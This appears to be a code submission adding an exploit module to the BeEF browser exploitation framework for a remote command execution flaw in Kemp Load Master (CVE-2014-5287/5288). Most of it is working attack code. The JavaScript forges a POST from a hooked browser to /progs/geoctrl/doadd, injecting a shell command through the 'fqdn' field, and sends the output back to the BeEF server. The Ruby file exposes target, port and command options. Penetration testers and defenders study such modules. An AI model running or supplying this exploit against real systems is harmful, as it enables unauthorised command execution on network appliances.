Kemp Load Master RCE - BeEF module
This is a new module for BeEF to exploit a RCE vulnerability in Kemp Load Master load balancer. More information on this blog post: http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html
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modules/exploits/kemp_command_execution/command.js
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37
modules/exploits/kemp_command_execution/command.js
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//
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// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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var rhost = '<%= @rhost %>';
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var rport = '<%= @rport %>';
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var timeout = '<%= @timeout %>';
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var path = '/progs/geoctrl/doadd';
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var cmd = "<%= @cmd %>";
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if (rhost.substring(0,5) == "https") {
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rhost = rhost.replace("https://","")
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protocol = "https"
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}
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else {
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rhost = rhost.replace("http://","")
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protocol = "http"
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}
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beef.net.forge_request(protocol, "POST", rhost, rport, path, null, null, { fqdn: "' <%= @cmd %>'" }, 10, 'html', false, null, function(response) {
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resp = response.headers+response.response_body;
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start = resp.indexOf("Content-Type: text/html");
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end = resp.indexOf("Cache-Control: no-cache");
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final = resp.slice(start+23,end)
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beef.net.send("<%= @command_url %>", <%= @command_id %>, final)
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});
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});
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15
modules/exploits/kemp_command_execution/config.yaml
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15
modules/exploits/kemp_command_execution/config.yaml
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#
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# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
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# Browser Exploitation Framework (BeEF) - http://beefproject.com
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# See the file 'doc/COPYING' for copying permission
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#
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beef:
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module:
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kemp_command_execution:
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enable: true
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category: "Exploits"
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name: "Kemp LoadBalancer Command Execution"
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description: "This module exploits a remote code execution vulnerability in Kemp LoadBalancer 7.1-16.<br/>More information can be found here: <a href='http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html'>http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html</a><br/>"
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authors: ["Roberto Suggi Liverani", "@malerisch", "CVE-2014-5287","CVE-2014-5288"]
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target:
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working: ["ALL"]
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22
modules/exploits/kemp_command_execution/module.rb
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modules/exploits/kemp_command_execution/module.rb
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#
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# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
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# Browser Exploitation Framework (BeEF) - http://beefproject.com
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# See the file 'doc/COPYING' for copying permission
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#
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class Kemp_command_execution < BeEF::Core::Command
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def self.options
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return [
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{'name'=>'rhost', 'ui_label' => 'URL', 'value' => 'https://x.x.x.x'},
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{'name'=>'rport', 'ui_label' => 'Remote Port', 'value' => '443'},
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{'name'=>'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15'},
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{'name'=>'cmd', 'ui_label' => 'Command', 'description' => 'Enter shell command to execute.', 'type'=>'textarea', 'value'=>"ls", 'width'=>'200px' },
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]
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end
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def post_execute
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save({'result' => @datastore['result']}) if not @datastore['result'].nil?
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save({'fail' => @datastore['fail']}) if not @datastore['fail'].nil?
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end
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end
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